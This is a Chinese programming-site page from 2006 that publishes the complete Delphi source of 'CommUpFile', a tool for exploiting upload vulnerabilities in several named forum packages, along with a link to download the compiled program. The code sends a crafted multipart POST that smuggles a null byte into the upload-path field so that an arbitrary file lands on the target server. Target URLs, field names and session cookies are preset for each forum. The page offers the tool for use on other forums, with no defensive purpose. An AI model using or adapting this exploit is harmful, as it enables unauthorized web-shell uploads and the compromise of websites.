网络编程 | 站长之家 | 网页制作 | 图形图象 | 操作系统 | 冲浪宝典 | 软件教学 | 网络办公 | 邮件系统 | 网络安全 | 认证考试 | 系统进程
Firefox | IE | Maxthon | 迅雷 | 电驴 | BitComet | FlashGet | QQ | QQ空间 | Vista | 输入法 | Ghost | Word | Excel | wps | Powerpoint
asp | .net | php | jsp | Sql | c# | Ajax | xml | Dreamweaver | FrontPages | Javascript | css | photoshop | fireworks | Flash | Cad | Discuz!
当前位置 > 网站建设学院 > 网络编程 > Delphi
Tag:注入,存储过程,分页,安全,优化,xmlhttp,fso,jmail,application,session,防盗链,stream,无组件,组件,md5,乱码,缓存,加密,验证码,算法,cookies,ubb,正则表达式,水印,索引,日志,压缩,base64,url重写,上传,控件,Web.config,JDBC,函数,内存,PDF,迁移,结构,破解,编译,配置,进程,分词,IIS,Apache,Tomcat,phpmyadmin,Gzip,触发器,socket
网络编程:ASP教程,ASP.NET教程,PHP教程,JSP教程,C#教程,数据库,XML教程,Ajax,Java,Perl,Shell,VB教程,Delphi,C/C++教程,软件工程,J2EE/J2ME,移动开发
本月文章推荐
.Delphi的组件读写机制(三).
.随心所欲取颜色(鼠标经过的地方颜.
.谈Delphi编程中“流”的利用(一).
.一个设置任意窗口透明度的命令行.
.在DELPHI中更简单的存取JPEG文件.
.Delphi实现对注册表的监视和扫描.
.使DBGrid的列自动调整到何时大小.
.NeHe的opengl教程delphi版(9)---.
.用Delphi编写CGI程序(六).
.使用IntraWeb进行Web编程.
.关于在VCL写作过程中提示找不Pro.
.我常去的几个站点,希望对同志们.
.基于中间件的查询优化模型.
.拷贝DBGrid当前行.
.Delphi实现Singleton模式.
.关于在Delphi中应用IinternetPro.
.Com接口入门细详(一).
.序列化FastReport.
.Linux的开发利器,Kylix.
.在delphi中使用xml文档有两种方法.

网站上传漏洞利用程序

发表日期:2006-2-4


 

对任我飞扬1.3,乔客6.0,dvbbs 3.0 sp2之前所有版本有效,其它论坛也可以使用,具体原理不再分析,以前的很多文章都有介绍。

软件下载地址:

http://free.efile.com.cn/hnxyy/CommUpFile.exe


原代码:

unit untmain;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls,IdHttp, Buttons, ScktComp;

type
  TForm1 = class(TForm)
    Label1: TLabel;
    EdtHost: TEdit;
    Label2: TLabel;
    EdtPort: TEdit;
    BtnQuery: TButton;
    Label3: TLabel;
    LblNum: TLabel;
    Label5: TLabel;
    Memo1: TMemo;
    Label4: TLabel;
    EdtUrl: TEdit;
    Label6: TLabel;
    EdtPathField: TEdit;
    Label7: TLabel;
    EdtFileField: TEdit;
    Label8: TLabel;
    EdtUpPath: TEdit;
    Label9: TLabel;
    EdtType: TEdit;
    Label11: TLabel;
    Label12: TLabel;
    Memo2: TMemo;
    cls: TClientSocket;
    BtnSubmit: TButton;
    BtnClose: TButton;
    Memo3: TMemo;
    Label13: TLabel;
    rb1: TRadioButton;
    rb2: TRadioButton;
    rb3: TRadioButton;
    procedure BtnQueryClick(Sender: TObject);
    procedure BtnCloseClick(Sender: TObject);
    procedure BtnSubmitClick(Sender: TObject);
    procedure clsError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure clsRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure clsConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure FormShow(Sender: TObject);
    procedure rb2Click(Sender: TObject);
    procedure rb3Click(Sender: TObject);
    procedure rb1Click(Sender: TObject);
  private
    { Private declarations }
    bbspath,urlpath,upfname,host,ftype:string;
    procedure IniVariant;
    procedure SendData;
    procedure SetRdbCheck(rd:TRadioButton);
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

//查询网站全球排名
procedure TForm1.BtnQueryClick(Sender: TObject);
var
  idhttp:TIdHTTP;
  ResultStr:string;
  iStart,iEnd,iPos:integer;
begin
  Memo3.Clear;
  idhttp :=TIdHTTP.Create(nil);
  idhttp.Port :=strtoint(trim(edtport.text));
  try
    ResultStr :=idhttp.Get('http://data.alexa.com/data?cli=10&dat=snba&url='+trim(EdtHost.Text));
    Memo3.Text :=ResultStr;
    if pos('<POPULARITY',ResultStr)>0 then
    begin
      iPos :=pos('<POPULARITY',ResultStr);
      ResultStr :=copy(ResultStr,iPos,length(ResultStr)-iPos);
      iStart :=pos('TEXT=',ResultStr);
      iEnd :=pos('/>',ResultStr);
      ResultStr :=copy(ResultStr,iStart+6,iEnd-iStart-7);
      LblNum.Caption :=ResultStr;
    end else
    begin
      LblNum.Caption :='not found';
    end;
  finally
    idhttp.Free;
  end;
end;

procedure TForm1.BtnCloseClick(Sender: TObject);
begin
  Close;
end;

procedure TForm1.BtnSubmitClick(Sender: TObject);
begin
  if lowercase(copy(trim(EdtUrl.Text),1,7))<>'http://' then
  begin
    Application.MessageBox('输入地址有误,请检查是否以"http://"开头!','提示',mb_ok+mb_iconinformation);
    exit;
  end;
  Memo3.Clear;
  IniVariant;
  SendData;
end;

procedure TForm1.clsError(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
  errorcode:=0;
  cls.Active :=False;
end;

procedure TForm1.clsRead(Sender: TObject; Socket: TCustomWinSocket);
var
  ss:string;
begin
  ss:=socket.ReceiveText;
  Memo3.Text :=ss;
  if pos('成功',ss)<>0 then
  begin
    Application.MessageBox('上传成功!','提示',mb_ok+mb_iconinformation);
    cls.Active :=False;
  end;
end;

procedure TForm1.SendData;
var
  ss,ss1,updata:string;
  i:integer;
begin
  for i:=0 to Memo1.Lines.Count-1 do
    updata :=updata+Memo1.Lines[i];
  //Http头信息
  ss:='POST '+bbspath+' HTTP/1.1'+#13#10;
  ss:=ss+'Content-Type: multipart/form-data; boundary=www.wrsky.com'+#13#10;
  ss:=ss+'Referer: http://'+host+bbspath+#13#10;
  //ss:=ss+'Accept-Language: zh-cn'+#13#10;
  //ss:=ss+'Connection: Keep-Alive'+#13#10;
  //ss:=ss+'Cache-Control: no-cache'+#13#10;
  //ss:=ss+'Accept-Encoding: gzip, deflate'+#13#10;
  //ss:=ss+'User-Agent: Mozilla/4.0 '+#13#10;
  ss:=ss+'Host: '+host+#13#10;
  //发送的内容
  ss1:=ss1+'www.wrsky.com'+#13#10;
  ss1:=ss1+'Content-Disposition: form-data; name="'+trim(EdtPathField.Text)+'"'+#13#10#13#10;
  ss1:=ss1+upfname+char(0)+#13#10;
  ss1:=ss1+'www.wrsky.com'+#13#10;
  ss1:=ss1+'Content-Disposition: form-data; name="'+trim(EdtFileField.Text)+'"; filename="D:\newmm.'+ftype+'"'+#13#10;
  ss1:=ss1+'Content-Type: text/plain'+#13#10#13#10;
  ss1:=ss1+updata+#13#10#13#10;
  ss1:=ss1+'www.wrsky.com'+#13#10;
  ss1:=ss1+'Content-Disposition: form-data; name="submit"'+#13#10#13#10;
  ss1:=ss1+'上传'+#13#10;
  ss1:=ss1+'www.wrsky.com--'+#13#10#13#10;

  ss:=ss+'Content-Length: '+inttostr(length(ss1))+#13#10;
  ss:=ss+'Cookie: '+trim(Memo2.Text)+#13#10#13#10;
  ss:=ss+ss1;
  cls.Socket.SendText(ss);
end;

procedure TForm1.clsConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
  SendData;
end;

procedure TForm1.IniVariant;
var
  iPos:integer;
begin
  urlpath :=trim(edturl.text);
  urlpath :=copy(urlpath,8,length(urlpath)-7);
  ipos:=pos('/',urlpath);
  host:=copy(urlpath,1,iPos-1);
  bbspath:=copy(urlpath,iPos,length(urlpath)-iPos+1);
  upfname :=trim(EdtUpPath.Text);
  ftype :=trim(edttype.text);
  cls.Host :=host;
  cls.Port :=80;
  cls.Active :=True;
end;

procedure TForm1.FormShow(Sender: TObject);
begin
  SetRdbCheck(rb1);
end;

procedure TForm1.SetRdbCheck(rd: TRadioButton);
begin
  //任我飞扬1.3
  if rd=rb1 then
  begin
    EdtUrl.Text :='http://www.xxx.com/img_upfile.asp';
    EdtPathField.Text :='filepath';
    EdtFileField.Text :='file1';
    Memo2.Text :='IsFirst=True;ASPSESSIONIDSSQAQQAC=FBHDKLAAILJJEFPAJGMIAGGO';
  end;
  //Joekoe V6.0
  if rd=rb2 then
  begin
    EdtUrl.Text :='http://www.xxx.com/upload.asp?action=upfile';
    EdtPathField.Text :='up_name';
    EdtFileField.Text :='file_name1';
    Memo2.Text :='需要自己抓取';
  end;
  //dvbbs 7.0
  if rd=rb3 then
  begin
    EdtUrl.Text :='http://www.xxx.com/bbs/upfile.asp';
    EdtPathField.Text :='filepath';
    EdtFileField.Text :='file1';
    Memo2.Text :='iscookies=0;ASPSESSIONIDACRQTBCS=OGALDEBDBBIGMLOHFKMOJFKO';
  end;
end;

procedure TForm1.rb2Click(Sender: TObject);
begin
  SetRdbCheck(rb2);
end;

procedure TForm1.rb3Click(Sender: TObject);
begin
  SetRdbCheck(rb3);
end;

procedure TForm1.rb1Click(Sender: TObject);
begin
  SetRdbCheck(rb1);
end;

end.

////////////////////////////////////////////////////////////////
CommUpFile 1.0

作者:Hnxyy  QQ:19026695

 2004.12.07    北京

上一篇:Delphi2005学习笔记4——再谈NameSpace和Dll以及Package 人气:4413
下一篇:序列化FastReport 人气:4184
浏览全部Delphi的内容 Dreamweaver插件下载 网页广告代码 祝你圣诞节快乐 2009年新年快乐